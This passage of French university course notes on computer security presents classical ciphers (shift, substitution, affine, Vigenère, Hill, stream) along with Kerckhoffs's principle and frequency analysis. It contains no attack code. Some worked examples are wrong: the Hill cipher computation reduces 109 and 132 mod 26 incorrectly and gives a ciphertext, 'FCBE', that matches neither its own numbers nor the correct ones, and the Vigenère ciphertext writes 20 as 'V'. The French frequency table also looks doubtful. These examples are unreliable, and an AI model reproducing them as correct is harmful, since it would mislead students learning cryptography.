Ensuite, convertissons cette suite d’entiers en caractère alphabétique. On


obtient texte chiffré ;

FNFRUUVNNCJCVRMWRPQC

Pour déchiffrer ce texte, Bob doit d’abord convertir le texte en nombres,


soustrait 9 à chaque valeur (en réduisant modulo 26), et enfin convertir les
nombres caractères alphabétiques.

On remarque que le chiffrement par décalage (modulo26) n’est pas sur, il


peut être cryptanalysé par la méthode de recherche exhaustive. Comme il n’y a 26
clefs possibles, essayer le déchiffrement avec toutes les clefs jusqu’à trouver un
texte clair compréhensible est aisé.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 17
2.3.3. Chiffrement par substitution

Un « chiffrement par substitution » est un algorithme par lequel chaque caractère


du message clair est substitué par un autre caractère dans le message chiffré (qui
peut être écrit dans un alphabet différent de celui du message clair).

Soit 𝑃 = 𝐶 = 𝐾 = 𝑍26 𝐾 est l’ensemble des permutations sur l’ensemble


des 26 nombres 0,1,…,25. Pour chaque permutation 𝜋 𝜖 𝐾, on définit

𝑐𝜋 (𝑥) = 𝜋(𝑥)

Et 𝑑𝜋 (𝑦) = 𝜋 −1 (𝑦)

Où 𝜋 −1 est la permutation réciproque de 𝜋

Figure 2.4. Chiffrement par substitution


En cryptographie classique, quatre types de chiffrement par substitution sont
distingués :
• Substitution simple
• Substitution homophonique
• Substitution polygraphique
• Substitution poly alphabétique
I. Substitution simple
Un caractère du message clair est substitué par un caractère unique du message
chiffré. Cela correspond le plus souvent à une permutation des caractères de
l’alphabet des messages clairs.

II. Substitution homophonique


Un caractère du message clair correspond à plusieurs caractères du message
chiffré. Le principe est qu’à chaque caractère de l’alphabet des messages clairs
est associé une « liste de lettre » dans l’alphabet des messages chiffrés (qui est en
général beaucoup plus gros que celui pour les messages). L’ensemble de ces listes
forment « une partition » de l’alphabet des messages chiffrés.

III. Substitution polygraphique


Le principe est de substituer des blocs de caractères, au lieu d’un seul caractère.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 18
IV. Substitution poly alphabétique

Il s’agit d’un ensemble de substitutions simples. Suivant sa position du caractère


dans le message clair, on applique une des substitutions simples. Ce sont de sortes
de « permutations à paramètres ».

Dans le chiffrement par substitution, il est plus commode de penser au


chiffrement et au déchiffrement comme à des permutations sur l’ensemble des
caractères alphabétiques.

Exemple

Voici un exemple de permutation aléatoire 𝜋 qui peut être utilisé comme fonction
de chiffrement. On utilise ici encore la convention d’écriture le texte clair en
minuscule et le texte chiffré en majuscule.
a b c d e f g h i j k l m n o p q r s t u v w x y z

X N Y A H P O G Z Q W B T S F L R C V M U E K J D I

Donc, 𝑐𝜋 (𝑎) = 𝑋, 𝑐𝜋 (𝑏) = 𝑁, etc. la fonction de déchiffrement est l’opération


inverse. Elle s’obtient en écrivant la deuxième ligne de la table en premier et en
réordonnant les colonnes alphabétiquement. On obtient :
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

d l r y v o h e z x w p t b g f j q n m u s k a c i

Donc, 𝑑𝜋 (𝐴) = 𝑑, 𝑑𝜋 (𝐵) = 𝑙, etc.


A titre d’exercice, le lecteur peut essayer de déchiffrer le texte suivant en
utilisant la fonction de déchiffrement :
MGZVYZLGHCMHJMYXSSFMNHAHYCDLMHA.

La clef, dans le chiffrement par substitution, est simplement la permutation


des 26 lettres caractères alphabétiques. Le nombre est donc 26 ! Une recherche
exhaustive de la clef est donc impossible, même pour un ordinateur, car ce nombre
est trop grand.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 19
2.3.4. Chiffrement affine

Soit 𝑃 = 𝐶 = 𝐾 = 𝑍26 et soit

𝐾 = {(𝑎, 𝑏)𝜖 𝑍26 × 𝑍26 : 𝑝𝑔𝑐𝑑 (𝑎, 26) = 1}

Pour 𝐾 = (𝑎, 𝑏) 𝜖 k , on définit

𝑐𝑘 (𝑥) = 𝑎𝑥 + 𝑏 𝑚𝑜𝑑 26

𝑑𝑘 (𝑦) = 𝑎−1 (𝑦 − 𝑏) 𝑚𝑜𝑑 26

Et (𝑥, 𝑦 𝜖 𝑍26 ) ∶

Figure 2.5. : Chiffrement affine.

Un autre cas particulier du chiffrement par substitution est chiffrement affine.


Dans ce procédé, on limite les fonctions de chiffrement aux fonctions de la forme.

𝑐(𝑥) = 𝑎𝑥 + 𝑏 𝑚𝑜𝑑 26

Où 𝑎, 𝑏 𝜖𝑍26 . Ces fonctions sont appelées des fonctions affines, d’où le nom du
procédé. Pour l’opération de déchiffrement soit possible, il est nécessaire que la
fonction affine soit injective. Autrement dit, pour tout 𝑦 𝜖 𝑍𝑍26 , l’équation

𝑎𝑥 + 𝑏 = 𝑦 (𝑚𝑜𝑑 26)

Doit avoir une unique solution x. l’équation est équivalent à

𝑎𝑥 ≡ 𝑦 − 𝑏 (𝑚𝑜𝑑 26).

Comme 𝑝𝑔𝑐𝑑 (𝑎, 26) = 1, a admet un inverse modulo 26. En multipliant


l’équation par 𝑎−1 , on obtient

𝑎−1 (𝑎𝑥) ≡ (𝑎−1 𝑎)𝑥 ≡ 1𝑥 ≡ 𝑥

Par conséquent, 𝑥 ≡ 𝑎−1 (𝑦 − 𝑏) (𝑚𝑜𝑑 26). ceci donne une formule explicite
pour déchiffrer :

𝑑(𝑦) = 𝑎−1 (𝑦 − 𝑏)𝑚𝑜𝑑 26

La description complète du chiffrement affine est résumée sur la figure 1.5.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 20
Exemple

Supposons 𝐾 = (5,3). On note que 5−1 𝑚𝑜𝑑 26 = 21. La fonction de


chiffrement est

𝑐𝑘 (𝑥) = 5𝑥 + 3 𝑚𝑜𝑑 26

Et correspond à la fonction de déchiffrement

𝑑𝑘 (𝑦) = 21(𝑦 − 3) 𝑚𝑜𝑑 26 = 21𝑦 − 63 𝑚𝑜𝑑 26 = 21𝑦 − 11

Où toutes les opérations sont faites dans 𝑍26 . On vérifie tout d’abord 𝑑𝑘 (𝑐𝑘 (𝑥)) =
𝑥 𝑝𝑜𝑢𝑟 𝑡𝑜𝑢𝑡 𝑥 𝜖 𝑍26 :

𝑑𝑘 (𝑐𝑘 (𝑥)) = 𝑑𝑘 (5𝑥 + 3)

= 21 (5𝑥 + 3) – 11

= 105𝑥 + 63 − 11

= 105𝑥 + 52

=𝑥+0 = 𝑥

Pour illustrer cet exemple, chiffrons le mot Ruffin. On convertit tout d’abord
les lettres r, u, f, f, i, n en résidus modulo 26 à l’aide d’une table.

On obtient respectivement
Alphabet A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

r=17, u=20, f=5, f=5, i=8, n=13. On peut maintenant chiffrer :

𝑐𝑘 (𝑥) = 5𝑥 + 3 𝑚𝑜𝑑 26

5 × (17) + 3 𝑚𝑜𝑑 26 = 88 𝑚𝑜𝑑 26 = 10

5 × (20) + 3 𝑚𝑜𝑑 26 = 103 𝑚𝑜𝑑 26 = 25

5 × (5) + 3 𝑚𝑜𝑑 26 = 28 𝑚𝑜𝑑 26 = 2

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 21
5 × (5) + 3 𝑚𝑜𝑑 26 = 28 𝑚𝑜𝑑 26 = 2

5 × (8) + 3 𝑚𝑜𝑑 26 = 43 𝑚𝑜𝑑 26 = 17

5 × (13) + 3 𝑚𝑜𝑑 26 = 68 𝑚𝑜𝑑 26 = 16

Donc, les caractères 10, 25, 2, 2, 17, 16 forment le texte chiffré « KZCCRQ ».

On peut maintenant déchiffrer :

𝑑𝑘 (𝑦) = 21(𝑦 − 3) 𝑚𝑜𝑑 26 = 21𝑦 − 63 𝑚𝑜𝑑 26 = 21𝑦 − 11

21 × (10) − 11 𝑚𝑜𝑑 26 = 17

21 × (25) − 11 𝑚𝑜𝑑 26 = 20

21 × (2) − 11 𝑚𝑜𝑑 26 = 5

21 × (2) − 11 𝑚𝑜𝑑 26 = 5

21 × (17) − 11 𝑚𝑜𝑑 26 = 8

21 × (16) − 11 𝑚𝑜𝑑 26 = 13

Donc, les caractères 17, 20, 5, 5, 8, 13 forment le texte déchiffré « Ruffin ».

2.3.5. Chiffrement de Vigenère

Soit 𝑚 un entier strictement positif. Soit 𝑃 = 𝐶 = 𝐾 = ( 𝑍𝑍26 )𝑚 . Pour


toute clef 𝐾 = (𝑘1 , 𝑘2 , …. , 𝑘𝑚 ), on définit

𝑐𝑘 (𝑥1 , 𝑥2 , … , 𝑥𝑚 ) = ( 𝑥1 + 𝑘1 , 𝑥2 + 𝑘2 , … , 𝑥𝑚 + 𝑘𝑚 )

Et d

𝑑𝑘 (𝑦1 , 𝑦2 , … . , 𝑦𝑚 ) = ( 𝑦1 − 𝑘1 , 𝑦2 − 𝑘2 , … . , 𝑦𝑚 − 𝑘𝑚 )

Où les opérateurs sont effectuées dans 𝑍𝑍26. .


Figure 1.6. : Chiffrement de Vigenère

On présente maintenant sur la figure 1.5. Un système qui n’est pas


monoalphabétique : le chiffrement de Vigenère. Son nom provient de Blaise
Vigenère qui vécut au seizième siècle.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 22
En utilisant la correspondance A↔0, B↔1, ….,𝑍 ↔ 25 décrite
précédemment, on décrit chaque clef 𝐾 par une chaîne de caractère de longueur
𝑚 appelée mot – clef. Le chiffrement de Vigenère traite 𝑚 caractères
alphabétiques à la fois : chaque bloc du texte clair est équivalent à 𝑚 caractères
alphabétiques.
Exemple
Supposons que 𝑚=5 et que le mot – clef soit MPAKA. Ceci converti en nombre
correspond à 𝐾 = ( 12, 15, 0, 10, 0). Supposons que le texte clair soit
« Cecryptosystèmeestsur ».
On convertit les blocs de texte clair en résidus modulo 26 et on ajoute le mot clef
modulo 26 ainsi :
2 4 2 17 24 15 19 14 18 24 18 19 4 12 4 4 18 19 18 20 17
+12 15 0 10 0 12 15 0 10 0 12 15 0 10 0 12 15 0 10 0 12
14 19 2 1 24 1 8 14 2 24 4 8 4 22 4 16 7 19 2 20 3

Et le texte chiffré est « OTCBYBIOCYEIEWEQHTCVD »


Pour déchiffrer, on utilise le même mot-clef, mais on fait une soustraction modulo
26 au lieu d’une addition.
2.3.6. Chiffrement de Hill
On décrit ici un autre sytème cryptographique polyalphabétique appelé
chiffrement de Hill, inventé en 1929 par Lester S. Hill. Soit 𝑚 un entier
strictement positif, et soit 𝑃 = 𝐶 = (𝑍26 )𝑚 . L’idée consiste à transformer 𝑚
caractère d’un bloc du texte clair en 𝑚 caractères d’un bloc du texte chiffré par
descombinaisons linéaires.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 23
Soit 𝑚 un entier strictement positif. Soit 𝑃 = 𝐶 = (𝑍26 )𝑚
et
𝑘 = {𝑚𝑎𝑡𝑟𝑖𝑐𝑒𝑠 𝑚 × 𝑚 𝑖𝑛𝑣𝑒𝑟𝑠𝑖𝑏𝑙𝑒𝑠 𝑑𝑎𝑛𝑠 𝑍26 }
Pour toute clef 𝐾, on définit
𝑐𝑘 (𝑥) = 𝑥𝐾
Et
𝑑𝑘 (𝑦) = 𝑦𝐾 −1
Où toutes les opérations sont faites dans 𝑍26

Figure 1.7. : Chiffrement de Hill


Si 𝑚 = 2, pour un bloc de texte clair 𝑥 = (𝑥1 , 𝑥2 ), on obtient un bloc de
texte chiffré 𝑦 = (𝑦1 , 𝑦2 ), où 𝑦1 et 𝑦2 sont obtenus par combinaisons linéaires de
𝑥1 et 𝑥2 .

Exemple

𝑦1 = 𝑥1 + 4𝑥2

𝑦2 = 𝑥1 + 5𝑥2

Bien sûr, cela peut se résumer en notation matricielle par


1 1
(𝑦1 , 𝑦2 ) = (𝑥1 , 𝑥2 ) ( )
4 5
Donc, nous pouvons baptiser notre matrice comme la matrice 𝑀 = ( 14 1
5
)

Trouvons la matrice inverse de 𝑀 . On peut alors montrer que

𝑀−1 = (det 𝑀)−1 𝑀∗

Donc, K est inversible.

Remarque.

La formule de 𝑀−1 ci-dessus n’est pas utilisée en pratique, sauf pour les petites
valeurs de 𝑚 (𝑠𝑜𝑖𝑡 𝑚 = 2 𝑜𝑢 3). Pour des entiers 𝑚 plus grands. Il est plus
efficace d’utiliser d’autres méthodes pour calculer l’inverse. Dans le cas des

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 24
matrices 2 × 2 𝑠𝑢𝑟 𝑍𝑍26 telle que det 𝐴 = 𝑎1,1 𝑎2,2 − 𝑎1,2 𝑎2,1 est inversible, on
a:

𝑎2,2 − 𝑎1,2
𝑀−1 = (det 𝑀)−1 ( )
−𝑎2,1 𝑎1,1

On a :
1 1
𝑑𝑒𝑡 ( ) = 1 × 5 − 4 × 1(𝑚𝑜𝑑 26)
4 5
= 5 − 4(𝑚𝑜𝑑 26)
= 1 (𝑚𝑜𝑑 26)

Comme 1−1 𝑚𝑜𝑑 26 = 1, on a

1 1 −1 5 25
( ) =( )
4 5 22 1
1 1 5 25 5 × 1 + 1 × 22 1 × 25 + 1 × 1
( )( )=( )
4 5 22 1 4 × 5 + 5 × 22 4 × 25 + 5 × 1
27 26
=( )
130 105
1 0
=( )
0 1
En rappelant que les opérations sont effectuées modulo 26.

Prenons maintenant un exemple de chiffrement et de déchiffrement dans le


chiffrement de Hill.

Exemple

Soit la clef 𝑀 = ( 41 1
5
)

D’après le calcul ci-dessus, on a


5 25
𝑀−1 = ( )
22 1

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 25
Supposons que l’on veut chiffrer le texte clair july. On a deux éléments de texte
claire(9,20) (correspondant à ju) et (11,24) (correspondant à ly).
1 1
(9,20) ( ) = (9 × 1 + 20 × 4, 9 × 1 + 20 × 5) = (109,132) = (11,5)
4 5
1 1
(11,24) ( ) = (11 × 1 + 24 × 4, 11 × 1 + 24 × 5) = (131,160) = (3, 1)
4 5
Donc le chiffrement de july est FCBE. Pour déchiffrer on doit calculer
𝑑𝑘 (𝑦) = 𝑦𝑀 −1
5 25
(11,5) ( ) = (5 × 11 + 5 × 22, 11 × 25 + 5 × 1) = (9, 20)
22 1
5 25
(3,1) ( ) = (3 × 5 + 1 × 22, 3 × 25 + 1 × 1) = ( 11, 24)
22 1
Jusqu’ici, on a montré que le déchiffrement est possible si 𝑀 est inversible.
En fait, pour que le déchiffrement soit possible, il est nécessaire que 𝑀 ait un
inverse. Cela se démontre facilement avec un peu d’algèbre linéaire, mais on ne
donne pas de preuve ici).
Remarque

Le déterminant d’une matrice 𝑚 × 𝑚 peut se calculer facilement par des


opérations élémentaires.
Deux propriétés importantes du déterminant sont 𝐼𝑚 = 1 𝑒𝑡 𝑑𝑒𝑡(𝐴𝐵) =
𝑑𝑒𝑡 𝐴 × 𝑑𝑒𝑡 𝐵.
Une matrice à coefficients réels est inversible si, et seulement si son
déterminant est non nul. Cependant, il est important de noter que cela n’est pas
vrai dans 𝑍26 . Le résultat analogue est qu’une matrice 𝑀 est inversible modulo
26 si, et seulement si, pgcd (𝑑𝑒𝑡 𝑀, 26) = 1.
2.3.7. Chiffrement par permutation
Tous les cryptosystèmes précédent reposent sur une substitution : tout
caractère du texte clair est remplacé par une autre dans le texte chiffré. L’idée du
chiffrement par permutation est de conserver les mêmes caractères en les
réordonnant. Le chiffrement par permutation (également appelé chiffrement par
transposition) a été utilisé pendant des centaines d’années.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 26
Définition

Soit 𝑚 un entier strictement positif soit 𝑃 = 𝐶 = {0, 1, … . . , 25}𝑚 et soit 𝐾


l’ensemble des permutations de {1, … . . , 𝑚}. Pour toute clef 𝜋 (c'est-à-dire pour
toute permutation). On définit

𝑐𝑘 (𝑥1 … . . , 𝑥𝑚 ) = ( 𝑥𝜋(1) , … . . , 𝑥𝜋(𝑚) )

Et

𝑑𝑘 (𝑦1 , … . . , 𝑦𝑚 ) = (𝑦𝜋−1(1) , … . . , 𝑦𝜋−1(𝑚)

Où 𝜋 −1 es la permutation inverse de 𝜋.

Figure 1.8. : Chiffrement par permutation

2.3.8. Chiffrement en chaine

Dans les cryptosystèmes précédents, les éléments de texte clair sont chiffrés
de la même manière à partir de la clef 𝐾. En fait, la chaîne du texte chiffré y es
obtenue ainsi :
𝑦 = 𝑦1 𝑦2 … = 𝑐𝑘 (𝑥1 )𝑐𝑘 (𝑥2 ) …

Les procédés de ce type sont appelés chiffrement par bloc.

Voici une définition plus formelle :

Définition

Un chiffrement en chaîne est un tuple {𝑃, 𝐶, 𝐾, 𝐿, 𝐹, 𝐸, 𝐷} vérifiant :

1. 𝑃 est un ensemble fini de blocs de textes clairs possibles.


2. 𝐶 est un ensemble fini de blocs de textes chiffrés possibles.
3. 𝐾 est un ensemble fini de clefs possibles
4. 𝐹 est un ensemble fini appelé alphabet de sequence (keystream alphabet)
5. 𝐹 = (𝑓1 , 𝑓2 , … . . ) est le générateur de séquence (. keystream generator).
Pour 𝑖 ≥ 1
𝑓: 𝐾 × 𝑃 𝑖−1 → 𝐿.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 27
6. Pour tout 𝑧 𝜖 𝐿, il y a une regle de chiffrement 𝑐𝑧 𝜖 𝐶 et une règle de
déchiffrement correspondante 𝑑𝑧 (𝑐𝑧 (𝑥)) = 𝑥 𝑝𝑜𝑢𝑟 𝑡𝑜𝑢𝑡 𝑥 𝜖 𝑃.

On peut voir le chiffrement par bloc comme un cas particulier du chiffrement


en chaîne dans lequel la séquence de clefs est constante : 𝑧𝑖 =
𝐾 𝑝𝑜𝑢𝑟 𝑡𝑜𝑢𝑡 𝑖 ≥ 1.

Voici quelques exemples illustrés de chiffrement en chaîne particuliers.

- Un chiffrement en chaîne est dit synchrone si sa séquence de clefs est


indépendante du texte clair, c'est-à-dire si elle est fonction de la clef 𝐾
uniquement. Dans ce cas, on peut voir 𝐾 comme une « semence » qui est
développée en une séquence 𝑧1 𝑧2 … .
- Un chiffrement en chaîne est dit périodique de période 𝑑 𝑠𝑖 𝑧𝑖+𝑑 = 𝑧𝑖 pour
tout 𝑖 ≥ 1. Le chiffrement de Vigenère avec un mot-clef de longueur 𝑚
peut être vu comme un chiffrement en chaîne périodique de période . dans
ce cas, la clef est 𝐾 = (𝑘1 , 𝑘2 , … , 𝑘𝑚 ). 𝐾 decrit elle-même les 𝑚 premiers
éléments de la séquence de clefs : 𝑧𝑖 = 𝑘𝑖 pour 1 ≤ 𝑖 ≤ 𝑚.la séquence est
juste une répétition périodique de ces éléments. On remarque que dans le
chiffrement de Vigenère, le chiffrement et déchiffrement sont identiques à
ceux du chiffrement par décalage : 𝑐𝑧 (𝑥) = 𝑥 + 𝑧 et 𝑑𝑧 (𝑦) = 𝑦 − 𝑧.
Les chiffrements en chaîne sont décrits sur un alphabet binaire, c’est-à dire
avec 𝑃 = 𝐶 = 𝑍2 . Dans ce cas, le chiffrement et le déchiffrement sont de simples
additions modulo 2 :
𝑐𝑧 (𝑥) = 𝑥 + 𝑧 𝑚𝑜𝑑 2

Et

𝑑𝑧 (𝑦) = 𝑦 + 𝑧 𝑚𝑜𝑑 2

Si l’on voit 0comme représentant la valeur booléenne ’’ faux’’ et 1


comme la valeur ‘’vrai’’, l’addition modulo 2 correspond au « ou-exclusif ».
Ainsi, le chiffrement et le déchiffrement peuvent se réaliser efficacement dans
les microprocesseurs.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 28
Soit 𝑃 = 𝐶 = 𝐾 = 𝐿 = 𝑍𝑍26 . Soit 𝑧𝑖 = 𝐾 𝑒𝑡 𝑧𝑖 = 𝑥𝑖−1 (𝑖 ≥ 2). Pour 0 ≤
𝑧 ≤ 25, on définit

𝑐𝑧 (𝑥) = 𝑥 + 𝑧 𝑚𝑜𝑑 26

Et

𝑑𝑧 (𝑦) = 𝑦 − 𝑧 𝑚𝑜𝑑 26

(𝑥, 𝑦 𝜖 𝑍26 ).

Figure 1.9. : Chiffrement en chaîne asynchrone.

Voici un exemple illustrant le chiffrement en chaîne asynchrone,


apparemment dû à Vigenère est illustré sur la figure 1.103. Dans ce procédé, le
texte clair est utilisé comme (sauf pour la clef initiale). Voici un exemple
illustratif :

Exemple

Supposons que la clef est 𝐾 = 8 et que le texte clair est ‘’chiffrement’’

On convertit tout d’abord ce texte est une suite d’entiers :

2 7 8 5 5 17 4 12 4 13 19

La séquence de clefs est

8 2 7 8 5 5 17 4 12 4 13

En ajoutant les éléments correspondants modulo 26, on obtient

10 9 15 13 10 22 21 16 16 17 6

Caractères alphabétiques, le texte chiffré est

‘’KJPNKWVQQRG’’

Regardons maintenant comment s’effectue le déchiffrement. Tout d’abord,


le texte … converti en suite d’entiers :

10 9 15 13 10 22 21 16 16 17 6

On calcul 𝑥1 = 𝑑8 (10) = 10 − 8 𝑚𝑜𝑑 26 = 2

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 29
Puis 𝑥2 = 𝑑2 (9) = 9 − 2 𝑚𝑜𝑑 26 = 7

Ainsi de suite. Chaque fois que l’on obtient un caractère du texte clair, on
obtient en même temps le terme suivant de la séquence de clef.

Ce système n’est bien évidemment pas sûr car il n’y a que 26 clefs possibles,
ce qui est trop peu.

On représente dans le point suivant les différentes méthodes pour


cryptanalyser ces systèmes présentés jusqu’ici.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 30
Chapitre 3 : Cryptanalyse
Dans ce point, on va présenter quelques techniques de cryptanalyse. Partant
de l’hypothèse générale que l’opposant Oscar connait le cryptosystème utilisé
pour chiffrer le texte. Ceci est appelé principe de Kerckhoff. Bien sûr, si Oscar ne
connait pas le procédé employé pour le chiffrement de cryptogramme, sa tâche
sera bien difficile, on ne souhaite pas baser la sécurité du système sur la protection
(sans doute incertaine) de la description des fonctions cryptographiques. Le but
est donc d’étudier les systèmes cryptographiques suivant le principe de Kerckhoff.

3.1. Principe de Kerckhoff

En 1883 dans un article paru dans le Journal des sciences militaires, Auguste
Kerckhoff (1835-1903) posa les principes de la cryptographie moderne. Ce
principe a été très exactement respecté pour le choix du dernier standard de
chiffrement, l’algorithme symétrique AES, par le NIST. Ce dernier a été choisi à
la suite d’un appel d’offre international et tous les détails de conception sont
publics. Il exprime que la méthode de chiffrement utilisée doit « pouvoir tomber
sans inconvénient aux mains de l’ennemi ». Autrement dit, la sécurité d’un
chiffrement doit reposer uniquement sur la protection de la clef (Kerckhoff, 1883).

Ce principe a plusieurs justifications. Principalement :

➢ La confidentialité d’un algorithme est difficile à garantir. Il est en général


connu de plusieurs personnes (parfois nombreuses) et il est souvent diffusé
dans des logiciels ou dispositifs hardware à des utilisateurs non habilités au
secret. La confidentialité de l’algorithme peut succomber à la corruption ou
reverse engineering.
➢ La sécurité d’un algorithme secret est difficile à évaluer (nombre
d’algorithmes à l’origine secrets se sont révélés extrêmement faibles). Il est
généralement admis que la meilleure garantie de sécurité d’un algorithme
est apportée par une longue période d’évaluation par la communauté
cryptographique moderne.
➢ Un algorithme secret peut dissimuler des propriétés indésirables pour
l’utilisateur final (existence de clefs faibles, par exemple). Il n’est donc pas
adapté si la confiance envers le concepteur n’est pas établie.
➢ Enfin, pour le théoricien, c’est une hypothèse de travail dans laquelle il est
impossible d’obtenir des résultats rigoureux de sécurité.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 31
Bref :

- la sécurité repose sur le secret de la clé, et non sur le secret de l’algorithme


(19ème siècle).
- Le déchiffrement sans la clé est impossible (à l’échelle humaine).
- Trouver la clé à partir du clair et du chiffré est impossible (à l’échelle
humaine).

3.2. Différents types de cryptanalyse

Un attaquant est donc une personne qui tente de décrypter des messages, c’est à
dire de retrouver des textes clairs à de texte chiffrés sans connaître la clef.

On réserve généralement le verbe de chiffre à l’action du destinataire


légitime qui effectue l’opération inverse du chiffrement.

La cryptanalyse d’un système cryptographique peut-être :

• Une cryptanalyse partielle : l’attaquant découvre alors le texte clair


correspondant à un ou plusieurs messages chiffrés interceptés.
• Une cryptanalyse totale : l’attaquant découvre un moyen de déchiffrer les
messages, aussi bien ceux qu’il a interceptés que ceux à venir, par exemple
en découvrant la clef utilisée.

3.3. Attaque sur un chiffrement

La cryptanalyse est l’ensemble des procédés d’attaque d’un cryptosystème. Elle


est indispensable pour l’étude de la sécurité des procédés de chiffrement utilisés
en cryptographie.
Son but ultime est de trouver un algorithme de déchiffrement des messages.
Le plus souvent on essaye de reconstituer la clef secrète de déchiffrement.

On doit distinguer entre les types d’attaques d’un adversaire et les buts des
attaques d’un adversaire.
Les principaux types d’attaques :
a) Attaque à texte chiffré connu : l’opposant ne connait que le message
chiffré.
b) Attaque à texte clair connu : l’opposant dispose d’un texte clair 𝑥 et du
message chiffré correspondant 𝑦.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 32
c) Attaque à texte clair choisi : l’opposant a accès à une machine
déchiffrante. Il peut choisir un texte clair et obtenir le texte chiffré
correspondant 𝑦, mais il ne connait pas la clef de chiffrement.
d) Attaque à texte chiffré choisi : l’opposant a accès à une machine
déchiffrante. Il peut choisir un texte chiffré 𝑦 et obtenir le texte clair
correspondant 𝑥, mais il ne connait pas la clef de déchiffrement.
e) Attaque exhaustive : le cryptanalyste essaie toutes les clefs possibles
jusqu'à ce qu’il trouve un texte clair plausible.

En plus de ces attaques basées sur une étude de messages codés, il y a aussi
des attaques physiques. Le principe de ces attaques est d’essayer de reconstituer
la clef secrète par exemple en espionnant la transmission entre le clavier de
l’ordinateur et l’unité centrale ou en mesurant la consommation électrique du
microprocesseur qui effectue le décodage du message ou encore en mesurant son
échauffement. Ensuite on essaye de remonter de ces données physiques aux clefs
de codage et décodage.
Le but de l’attaque d’un adversaire peut être soit de découvrir la clef du
chiffrement et de pouvoir ainsi décrypter tous les messages de l’émetteur ou plus
modestement de décrypter un message particulier sans nécessairement disposer
de la clef du code.

3.4. Analyse de fréquences

Lorsque la langue de départ et la technique de chiffrement sont connues, on peut


exploiter les régularités du langage par le principe d’analyse de la fréquence d’une
lettre. Cette technique ne fonctionne bien que si le message chiffré est
suffisamment long pour avoir des moyennes significatives.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 33
Tableau 1. Fréquence de lettres en anglais et en français ou probabilité
d’occurrence de lettres de l’alphabet (en %).

Lettre Anglais Français


a 8,17 8,25
b 1,49 1,25
c 2,78 3,25
d 4,25 3,75
e 12,70 17,75
f 2,23 1,25
g 2,02 1,25
h 6,09 1,25
i 6,97 7,25
j 0,15 0,75
k 0,77 0,00
l 4,03 5,75
m 2,41 3,25
n 6,75 7,25
o 7,51 5,75
p 1,93 3,75
q 0,10 1,25
r 5,99 7,25
s 6,33 8,25
t 9,06 7,25
u 2,76 6,25
v 0,98 1,75
w 2,36 0,00
x 0,15 0,00
y 1,97 0,75
z 0,97 0,00

Plusieurs techniques de cryptanalyse utilisent les propriétés statistiques de la


langue anglaise. Plusieurs personnes ont estimé la probabilité d’apparition des 26
lettres de l’alphabet en faisant des statistiques sur de nombreux romans,
magazines et journaux quotidiens. Les estimations de la table1 furent obtenues
par Beker et Piper.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 34
A partir de ces résultats, Beker et Piper ont classé les 26 lettres en cinq groupes :

1. E, ayant pour probabilité d’environ 0,120;


2. T, A, O, I, N, S, H et R, ayant une probabilité entre 0,06 et 0,09 ;
3. D et L ayant une probabilité d’environ 0,04 ;
4. C, U, M, W, F, G, Y, P et B, ayant une probabilité entre 0,015 et 0,023 ;
5. V, K, J, X, Q et Z, ayant une probabilité inférieur à 0,01.

Le chiffrement par substitution est attaquable en examinant les fréquences


d’apparition de chaque lettre. Les fréquences moyennes relevées dans un texte
après suppression des espaces et de la ponctuation sont indiquées dans la table 1.
On peut s’aider des fréquences d’apparition de chaque digramme ou trigramme
(deux ou trois lettres consécutives). Par exemple, les digrammes les plus courants
en anglais sont (par ordre de fréquence de croissante) TH, HE, IN, ER, AN, RE,
ED, ON, ES, ST, EN, AT, TO, NT, HA, ND, OU, EA, NG, AS, OR, TI, IS, ET,
IT, AR, TE, SE, HI et OF. Les douze trigrammes les plus fréquents sont (par ordre
décroissant) THE, ING, AND, HER, ERE, ENT, THA, NH, WAS, ETH, FOR et
DTH

Sécurité informatique en L2 Informatique.


